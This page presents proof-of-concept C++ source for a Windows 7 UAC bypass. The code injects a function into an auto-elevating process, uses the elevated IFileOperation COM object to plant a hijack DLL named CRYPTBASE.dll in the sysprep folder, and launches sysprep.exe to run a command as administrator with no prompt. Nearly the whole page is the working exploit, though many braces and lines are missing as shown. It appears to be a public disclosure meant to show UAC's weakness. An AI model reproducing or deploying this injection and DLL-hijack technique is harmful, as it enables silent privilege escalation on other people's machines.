Windows 7 UAC whitelist:
Proof-of-concept source code



See the detailed description for a step-by-step guide to what the code does.

See the main page for compiled binaries, Visual Studio project, general discussion, etc.

UAC comedy tragedy security theatre


#include "stdafx.h"
#include "Win7Elevate_Utils.h"
#include "Win7Elevate_Inject.h"

// All code (except for GetElevationType) (C) Leo Davidson, 8th February 2009, all rights reserved.
// (Minor tidy-up 12th June 2009 for the code's public release.)
// Using any part of this code for malicious purposes is expressly forbidden.
// This proof-of-concept code is intended only to demonstrate that code-injection
// poses a real problem with the default UAC settings in Windows 7 (tested with RC1 build 7100).

struct InjectArgs
    BOOL    (WINAPI *fpFreeLibrary)(HMODULE hLibModule);
    HMODULE (WINAPI *fpLoadLibrary)(LPCWSTR lpLibFileName);
    FARPROC (WINAPI *fpGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
    BOOL    (WINAPI *fpCloseHandle)(HANDLE);
    DWORD   (WINAPI *fpWaitForSingleObject)(HANDLE,DWORD);
    const wchar_t *szSourceDll;
    const wchar_t *szElevDir;
    const wchar_t *szElevDll;
    const wchar_t *szElevDllFull;
    const wchar_t *szElevExeFull;
          wchar_t *szElevArgs; // Not const because of CreateProcess's in-place buffer modification. It's really not const so this is fine. (We don't use CreateProcess anymore but it doesn't hurt to keep this non-const just in case.)
    const wchar_t *szEIFOMoniker; // szElevatedIFileOperationMoniker
    const IID     *pIID_EIFOClass;
    const IID     *pIID_EIFO;
    const IID     *pIID_ShellItem2;
    const IID     *pIID_Unknown;
    const wchar_t *szShell32;
    const wchar_t *szOle32;
    const char    *szCoInitialize;
    const char    *szCoUninitialize;
    const char    *szCoGetObject;
    const char    *szCoCreateInstance;
    const char    *szSHCreateItemFPN; // SHCreateItemFromParsingName
    const char    *szShellExecuteExW;

static DWORD WINAPI RemoteCodeFunc(LPVOID lpThreadParameter)
    // This is the injected code of "part 1."

    // As this code is copied into another process it cannot refer to any static data (i.e. no string, GUID, etc. constants)
    // and it can only directly call functions that are within Kernel32.dll (which is all we need as it lets us call
    // LoadLibrary and GetProcAddress). The data we need (strings, GUIDs, etc.) is copied into the remote process and passed to
    // us in our InjectArgs structure.

    // The compiler settings are important. You have to ensure that RemoteCodeFunc doesn't do any stack checking (since it
    // involves a call into the CRT which may not exist (in the same place) in the target process) and isn't made inline
    // or anything like that. (Compiler optimizations are best turned off.) You need RemoteCodeFunc to be compiled into a
    // contiguous chunk of assembler that calls/reads/writes nothing except its own stack variables and what is passed to it via pArgs.

    // It's also important that all asm jump instructions in this code use relative addressing, not absolute. Jumps to absolute
    // addresses will not be valid after the code is copied to a different address in the target process. Visual Studio seems
    // to use absolute addresses sometimes and relative ones at other times and I'm not sure what triggers one or the other. For example,
    // I had a problem with it turning a lot of the if-statements in this code into absolute jumps when compiled for 32-bit and that
    // seemed to go away when I set the Release build to generate a PDF file, but then they came back again.
    // I never had this problem in February, and 64-bit builds always seem fine, but now in June I'm getting the problem with 32-bit
    // builds on my main machine. However, if I switch to the older compiler install and older Windows SDK that I have on another machine
    // it always builds a working 32-bit (and 64-bit) version, just like it used to. So I guess something in the compiler/SDK has triggered
    // this change but I don't know what. It could just be that things have moved around in memory due to a structure size change and that's
    // triggering the different modes... I don't know!
    // So if the 32-bit version crashes the process you inject into, you probably need to work out how to convince the compiler
    // to generate the code it used to in February. :) Or you could write some code to fix up the jump instructions after copying them,
    // or hand-code the 32-bit asm (seems you can ignore 64-bit as it always works so far), or find a style of if-statement (or equivalent)
    // that always generates relative jumps, or whatever...
    // Take a look at the asm_code_issue.png image that comes with the source to see what the absolute and relative jumps look like.
    // PS: I've never written Intel assembler, and it's many years since I've hand-written any type of assembler, so I may have the wrong end
    // of the stick about some of this! Either way, 32-bit version works when built on my older compiler/SDK install and usually doesn't on
    // the newer install.

    InjectArgs * pArgs = reinterpret_cast< InjectArgs * >(lpThreadParameter);

    // Use an elevated FileOperation object to copy a file to a protected folder.
    // If we're in a process that can do silent COM elevation then we can do this without any prompts.

    HMODULE hModuleOle32    = pArgs->fpLoadLibrary(pArgs->szOle32);
    HMODULE hModuleShell32  = pArgs->fpLoadLibrary(pArgs->szShell32);

    if (hModuleOle32
    &&  hModuleShell32)
        // Load the non-Kernel32.dll functions that we need.

        W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPVOID pvReserved) >
            tfpCoInitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoInitialize );

        W7EUtils::GetProcAddr< void (STDAPICALLTYPE *)(void) >
            tfpCoUninitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoUninitialize );

        W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) >
            tfpCoGetObject( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoGetObject );

        W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) >
            tfpCoCreateInstance( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoCreateInstance );

        W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) >
            tfpSHCreateItemFromParsingName( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szSHCreateItemFPN );

            tfpShellExecuteEx( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szShellExecuteExW );

        if (0 != tfpCoInitialize.f
        &&  0 != tfpCoUninitialize.f
        &&  0 != tfpCoGetObject.f
        &&  0 != tfpCoCreateInstance.f
        &&  0 != tfpSHCreateItemFromParsingName.f
        &&  0 != tfpShellExecuteEx.f)
            if (S_OK == tfpCoInitialize.f(NULL))
                BIND_OPTS3 bo;
                for(int i = 0; i < sizeof(bo); ++i) { reinterpret_cast< BYTE * >(&bo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
                bo.cbStruct = sizeof(bo);
                bo.dwClassContext = CLSCTX_LOCAL_SERVER;

                // For testing other COM objects/methods, start here.
                    IFileOperation *pFileOp = 0;
                    IShellItem *pSHISource = 0;
                    IShellItem *pSHIDestination = 0;
                    IShellItem *pSHIDelete = 0;

                    // This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.
                    if (
                        (pArgs->szEIFOMoniker  && S_OK == tfpCoGetObject.f( pArgs->szEIFOMoniker, &bo, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
                    ||  (pArgs->pIID_EIFOClass && S_OK == tfpCoCreateInstance.f( *pArgs->pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
                    if (0    != pFileOp)
                    if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szSourceDll, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)))
                    if (0    != pSHISource)
                    if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDir, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)))
                    if (0    != pSHIDestination)
                    if (S_OK == pFileOp->CopyItem(pSHISource, pSHIDestination, pArgs->szElevDll, NULL))
                    if (S_OK == pFileOp->PerformOperations())
                        // Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.
                        // (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)
                        SHELLEXECUTEINFO shinfo;
                        for(int i = 0; i < sizeof(shinfo); ++i) { reinterpret_cast< BYTE * >(&shinfo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
                        shinfo.cbSize = sizeof(shinfo);
                        shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
                        shinfo.lpFile = pArgs->szElevExeFull;
                        shinfo.lpParameters = pArgs->szElevArgs;
                        shinfo.lpDirectory = pArgs->szElevDir;
                        shinfo.nShow = SW_SHOW;

                        if (tfpShellExecuteEx.f(&shinfo) && shinfo.hProcess != NULL)
                            // Wait for the "part 2" target process to finish.
                            pArgs->fpWaitForSingleObject(shinfo.hProcess, INFINITE);


                        // Another standard call to IFileOperation, this time to delete our dummy DLL. We clean up our mess.
                        if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDllFull, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDelete)))
                        if (0    != pSHIDelete)
                        if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))

                    if (pSHIDelete)      { pSHIDelete->Release();      }
                    if (pSHIDestination) { pSHIDestination->Release(); }
                    if (pSHISource)      { pSHISource->Release();      }
                    if (pFileOp)         { pFileOp->Release();         }


    if (hModuleShell32)  { pArgs->fpFreeLibrary(hModuleShell32);  }
    if (hModuleOle32)    { pArgs->fpFreeLibrary(hModuleOle32);    }

    return 0;

// Marks the end of the function so we know how much data to copy.
static void DummyRemoteCodeFuncEnd()

void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD dwPid, const wchar_t *szProcName,
                                 const wchar_t *szCmd, const wchar_t *szArgs, const wchar_t *szDir,
                                 const wchar_t *szPathToOurDll)
    bool bThreadWaitSuccess = false;
    bool bThreadWaitFailure = false;
    HANDLE hTargetProc = NULL;

    const BYTE * codeStartAdr = reinterpret_cast< const BYTE * >( &RemoteCodeFunc );
    const BYTE * codeEndAdr   = reinterpret_cast< const BYTE * >( &DummyRemoteCodeFuncEnd );

    if (codeStartAdr >= codeEndAdr)
        MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);

    wchar_t szPathToSelf[MAX_PATH];

    DWORD dwGMFNRes = GetModuleFileName(NULL, szPathToSelf, _countof(szPathToSelf));

    if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
        MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);

    wchar_t szProgramFiles[MAX_PATH];


    if (S_OK != hr)
        MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);

    HMODULE hModKernel32 = LoadLibrary(L"kernel32.dll");

    if (hModKernel32 == 0)
        MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);

    W7EUtils::GetProcAddr< BOOL    (WINAPI *)(HMODULE)         > tfpFreeLibrary(         &GetProcAddress, hModKernel32, "FreeLibrary");
    W7EUtils::GetProcAddr< HMODULE (WINAPI *)(LPCWSTR)         > tfpLoadLibrary(         &GetProcAddress, hModKernel32, "LoadLibraryW");
    W7EUtils::GetProcAddr< FARPROC (WINAPI *)(HMODULE, LPCSTR) > tfpGetProcAddress(      &GetProcAddress, hModKernel32, "GetProcAddress");
    W7EUtils::GetProcAddr< BOOL    (WINAPI *)(HANDLE)          > tfpCloseHandle(         &GetProcAddress, hModKernel32, "CloseHandle");
    W7EUtils::GetProcAddr< DWORD   (WINAPI *)(HANDLE,DWORD)    > tfpWaitForSingleObject( &GetProcAddress, hModKernel32, "WaitForSingleObject");

    if (0 == tfpFreeLibrary.f
    ||  0 == tfpLoadLibrary.f
    ||  0 == tfpGetProcAddress.f
    ||  0 == tfpCloseHandle.f
    ||  0 == tfpWaitForSingleObject.f)
        MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
        // Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't
        // directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list.
        // If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one.
        const wchar_t *szElevDir = L"C:\\Windows\\System32\\sysprep";
        const wchar_t *szElevDll = L"CRYPTBASE.dll";
        const wchar_t *szElevDllFull = L"C:\\Windows\\System32\\sysprep\\CRYPTBASE.dll";
        const wchar_t *szElevExeFull = L"C:\\Windows\\System32\\sysprep\\sysprep.exe";
        std::wstring strElevArgs = L"\"";
//      strElevArgs += szElevExeFull;
//      strElevArgs += L"\" \"";
        strElevArgs += szCmd;
        strElevArgs += L"\" \"";
        strElevArgs += szDir;
        strElevArgs += L"\" \"";
        for (const wchar_t *pCmdArgChar = szArgs; *szArgs; ++szArgs)
            if (*szArgs != L'\"')
                strElevArgs += *szArgs;
                strElevArgs += L"\"\"\""; // Turn each quote into three to preserve them in the arguments.
        strElevArgs += L"\"";

        if (!bInject)
            // Test code without remoting.
            // This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin.

            // Satisfy CreateProcess's non-const args requirement
            wchar_t *szElevArgsNonConst = new wchar_t[strElevArgs.length() + 1];
            wcscpy_s(szElevArgsNonConst, strElevArgs.length() + 1, strElevArgs.c_str());

            InjectArgs ia;
            ia.fpFreeLibrary         = tfpFreeLibrary.f;
            ia.fpLoadLibrary         = tfpLoadLibrary.f;
            ia.fpGetProcAddress      = tfpGetProcAddress.f;
            ia.fpCloseHandle         = tfpCloseHandle.f;
            ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;
            ia.szSourceDll           = szPathToOurDll;
            ia.szElevDir             = szElevDir;
            ia.szElevDll             = szElevDll;
            ia.szElevDllFull         = szElevDllFull;
            ia.szElevExeFull         = szElevExeFull;
            ia.szElevArgs            = szElevArgsNonConst;
            ia.szShell32             = L"shell32.dll";
            ia.szOle32               = L"ole32.dll";
            ia.szCoInitialize        = "CoInitialize";
            ia.szCoUninitialize      = "CoUninitialize";
            ia.szCoGetObject         = "CoGetObject";
            ia.szCoCreateInstance    = "CoCreateInstance";
            ia.szSHCreateItemFPN     = "SHCreateItemFromParsingName";
            ia.szShellExecuteExW     = "ShellExecuteExW";
            ia.szEIFOMoniker         = bElevate ? L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" : NULL;
            ia.pIID_EIFOClass        = bElevate ? NULL : &__uuidof(FileOperation);
            ia.pIID_EIFO             = &__uuidof(IFileOperation);
            ia.pIID_ShellItem2       = &__uuidof(IShellItem2);
            ia.pIID_Unknown          = &__uuidof(IUnknown);


            delete[] szElevArgsNonConst;
        else if (W7EUtils::OpenProcessToInject(hWnd, &hTargetProc, dwPid, szProcName))
            // Test code with remoting.
            // At least as of RC1 build 7100, with the default OS settings, this will run the specified command
            // with elevation but without triggering a UAC prompt.

            // Scope CRemoteMemory so it's destroyed before the process handle is closed.
                W7EUtils::CRemoteMemory reme(hTargetProc);

                InjectArgs ia;
                // ASSUMPTION: Remote process has same ASLR setting as us (i.e. ASLR = on)
                //             kernel32.dll is mapped to the same address range in both processes.
                ia.fpFreeLibrary         = tfpFreeLibrary.f;
                ia.fpLoadLibrary         = tfpLoadLibrary.f;
                ia.fpGetProcAddress      = tfpGetProcAddress.f;
                ia.fpCloseHandle         = tfpCloseHandle.f;
                ia.fpWaitForSingleObject = tfpWaitForSingleObject.f;

                // It would be more efficient to allocate and copy the data in one
                // block but since this is just a proof-of-concept I don't bother.

                ia.szSourceDll           = reme.AllocAndCopyMemory(szPathToOurDll);
                ia.szElevDir             = reme.AllocAndCopyMemory(szElevDir);
                ia.szElevDll             = reme.AllocAndCopyMemory(szElevDll);
                ia.szElevDllFull         = reme.AllocAndCopyMemory(szElevDllFull);
                ia.szElevExeFull         = reme.AllocAndCopyMemory(szElevExeFull);
                ia.szElevArgs            = reme.AllocAndCopyMemory(strElevArgs.c_str(), false); // Leave this page writeable for CreateProcess.

                ia.szShell32             = reme.AllocAndCopyMemory(L"shell32.dll");
                ia.szOle32               = reme.AllocAndCopyMemory(L"ole32.dll");
                ia.szCoInitialize        = reme.AllocAndCopyMemory("CoInitialize");
                ia.szCoUninitialize      = reme.AllocAndCopyMemory("CoUninitialize");
                ia.szCoGetObject         = reme.AllocAndCopyMemory("CoGetObject");
                ia.szCoCreateInstance    = reme.AllocAndCopyMemory("CoCreateInstance");
                ia.szSHCreateItemFPN     = reme.AllocAndCopyMemory("SHCreateItemFromParsingName");
                ia.szShellExecuteExW     = reme.AllocAndCopyMemory("ShellExecuteExW");
                ia.szEIFOMoniker         = bElevate ? reme.AllocAndCopyMemory(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}") : NULL;
                ia.pIID_EIFOClass        = bElevate ? NULL : reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(FileOperation), sizeof(__uuidof(FileOperation)), false) );
                ia.pIID_EIFO             = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IFileOperation), sizeof(__uuidof(IFileOperation)), false) );
                ia.pIID_ShellItem2       = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IShellItem2),    sizeof(__uuidof(IShellItem2)),    false) );
                ia.pIID_Unknown          = reinterpret_cast< const IID * >( reme.AllocAndCopyMemory(&__uuidof(IUnknown),       sizeof(__uuidof(IUnknown)),       false) );

                void *pRemoteArgs = reme.AllocAndCopyMemory(&ia, sizeof(ia), false);

                void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);

                if (reme.AnyFailures())
                    MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
                    HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);

                    if (hRemoteThread == 0)
                        MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING);
                            DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 10000);

                            if (dwWaitRes == WAIT_OBJECT_0)
                                bThreadWaitSuccess = true;
                            else if (dwWaitRes != WAIT_TIMEOUT)
                                bThreadWaitFailure = true;
                            else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION))
                                // See if it completed before the user asked to stop waiting.
                                // Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI.
                                if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0))
                                    bThreadWaitSuccess = true;

                        if (!bThreadWaitSuccess)
                            // The memory in the other process could still be in use.
                            // Freeing it now will almost certainly crash the other process.
                            // Letting it leak is the lesser of two evils...


    if (bThreadWaitFailure)
        MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING);
    else if (bThreadWaitSuccess)
//      MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION);